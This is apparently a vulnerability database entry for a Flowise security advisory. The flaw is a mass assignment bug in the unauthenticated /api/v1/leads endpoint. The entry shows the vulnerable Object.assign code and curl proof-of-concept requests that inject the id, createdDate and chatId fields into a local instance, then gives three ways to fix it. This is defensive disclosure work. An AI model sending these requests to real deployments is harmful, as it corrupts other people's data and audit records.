| Advisory ID | github_osv/GHSA-mq4r-h2gh-qv7x |
| Aliases |
CVE-2026-30822
|
| Summary | Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint ## Summary **A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.** The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values. | Field | Value | |-------|-------| | **Vulnerability Type** | Mass Assignment | | **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) | | **Authentication Required** | None | | **Affected Endpoint** | `POST /api/v1/leads` | --- ## Details ### Root Cause The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28: ```typescript // File: /packages/server/src/services/leads/index.ts // Lines 23-38 const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() Object.assign(newLead, body) // ← VULNERABILITY: All properties copied! Object.assign(newLead, { chatId }) const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` The `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including: - `id` - The primary key (should be auto-generated) - `createdDate` - The creation timestamp (should be auto-generated) - `chatId` - The chat identifier ### Lead Entity Definition The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields: ```typescript // File: /packages/server/src/database/entities/Lead.ts @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') // Should be auto-generated! id: string @Column() name?: string @Column() email?: string @Column() phone?: string @Column() chatflowid: string @Column() chatId: string @CreateDateColumn() // Should be auto-generated! createdDate: Date } ``` However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation. ### Why the Endpoint is Publicly Accessible The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`: ```typescript // File: /packages/server/src/utils/constants.ts // Line 20 export const WHITELIST_URLS = [ // ... other endpoints ... '/api/v1/leads', // ← No authentication required // ... more endpoints ... ] ``` --- ## Proof of Concept <img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" /> ### Prerequisites - Docker and Docker Compose installed - curl installed ### Step 1: Start Flowise Create a `docker-compose.yml`: ```yaml services: flowise: image: flowiseai/flowise:latest restart: unless-stopped environment: - PORT=3000 - DATABASE_PATH=/root/.flowise - DATABASE_TYPE=sqlite - CORS_ORIGINS=* - DISABLE_FLOWISE_TELEMETRY=true ports: - '3000:3000' volumes: - flowise_data:/root/.flowise entrypoint: /bin/sh -c "sleep 3; flowise start" volumes: flowise_data: ``` Start the container: ```bash docker compose up -d # Wait for Flowise to be ready (about 1-2 minutes) curl http://localhost:3000/api/v1/ping ``` ### Step 2: Baseline Test - Normal Lead Creation First, create a normal lead to see expected behavior: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "normal-chatflow-123", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000" }' ``` **Expected Response (normal behavior):** ```json { "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd", "name": "Normal User", "email": "normal@example.com", "phone": "555-0000", "chatflowid": "normal-chatflow-123", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:39.000Z" } ``` Note: The `id` and `createdDate` are auto-generated by the server. ### Step 3: Exploit - Inject Custom ID Now inject a custom `id`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "attacker-chatflow-456", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "name": "Attacker", "email": "attacker@evil.com", "phone": "555-EVIL", "chatflowid": "attacker-chatflow-456", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:40.000Z" } ``` **⚠️ The attacker-controlled `id` was accepted!** ### Step 4: Exploit - Inject Custom Timestamp Inject a fake `createdDate`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "timestamp-test-789", "name": "Time Traveler", "email": "timetraveler@evil.com", "createdDate": "1970-01-01T00:00:00.000Z" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "some-auto-generated-uuid", "name": "Time Traveler", "email": "timetraveler@evil.com", "chatflowid": "timestamp-test-789", "chatId": "auto-generated-uuid", "createdDate": "1970-01-01T00:00:00.000Z" } ``` **⚠️ The attacker-controlled timestamp from 1970 was accepted!** ### Step 5: Exploit - Combined Mass Assignment Inject multiple fields at once: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "any-chatflow-attacker-wants", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "id": "11111111-2222-3333-4444-555555555555", "createdDate": "2000-01-01T12:00:00.000Z", "chatId": "custom-chat-id-injected" }' ``` **Actual Response (vulnerability confirmed):** ```json { "id": "11111111-2222-3333-4444-555555555555", "name": "Mass Assignment Attacker", "email": "massassign@evil.com", "phone": "555-HACK", "chatflowid": "any-chatflow-attacker-wants", "chatId": "custom-chat-id-injected", "createdDate": "2000-01-01T12:00:00.000Z" } ``` **⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!** ### Verification The exploit succeeds because: 1. ✅ HTTP 200 response (request accepted) 2. ✅ `id` field contains attacker-controlled UUID 3. ✅ `createdDate` field contains attacker-controlled timestamp 4. ✅ `chatId` field contains attacker-controlled string 5. ✅ No authentication headers were sent --- ## Impact ### Who is Affected? - **All Flowise deployments** that use the leads feature - Both **open-source** and **enterprise** versions - Any system that relies on lead data integrity ### Attack Scenarios | Scenario | Impact | |----------|--------| | **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts | | **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting | | **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled | | **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own | ### Severity Assessment While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to: - Data integrity issues - Potential business logic bypasses - Audit/compliance concerns - Foundation for chained attacks --- ## Recommended Fix ### Option 1: Whitelist Allowed Fields (Recommended) Only copy explicitly allowed fields from the request body: ```typescript const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() // ✅ Only copy allowed fields const allowedFields = ['chatflowid', 'name', 'email', 'phone'] for (const field of allowedFields) { if (body[field] !== undefined) { newLead[field] = body[field] } } newLead.chatId = chatId // Let TypeORM auto-generate id and createdDate const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 2: Use Destructuring with Explicit Fields ```typescript const createLead = async (body: Partial<ILead>) => { try { // ✅ Only extract allowed fields const { chatflowid, name, email, phone } = body const chatId = body.chatId ?? uuidv4() const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create({ chatflowid, name, email, phone, chatId // id and createdDate will be auto-generated }) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` ### Option 3: Use class-transformer with @Exclude() Add decorators to the Lead entity to exclude sensitive fields from assignment: ```typescript import { Exclude } from 'class-transformer' @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request id: string // ... other fields ... @CreateDateColumn() @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request createdDate: Date } ``` ### Additional Recommendation Consider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as: - `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern) --- ## Resources - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) - [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/) - [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/) --- |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.9 |
| Risk | 3.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3 | 7.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-mq4r-h2gh-qv7x/GHSA-mq4r-h2gh-qv7x.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/FlowiseAI/Flowise | ||
| CVE-2026-30822 | https://nvd.nist.gov/vuln/detail/CVE-2026-30822 | |
| flowise%403.0.13 | Other | https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13 |
| GHSA-mq4r-h2gh-qv7x | Other | https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-09T20:34:26Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/30xxx/CVE-2026-30822.json
Source Advisory: vulnrichment/CVE-2026-30822
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]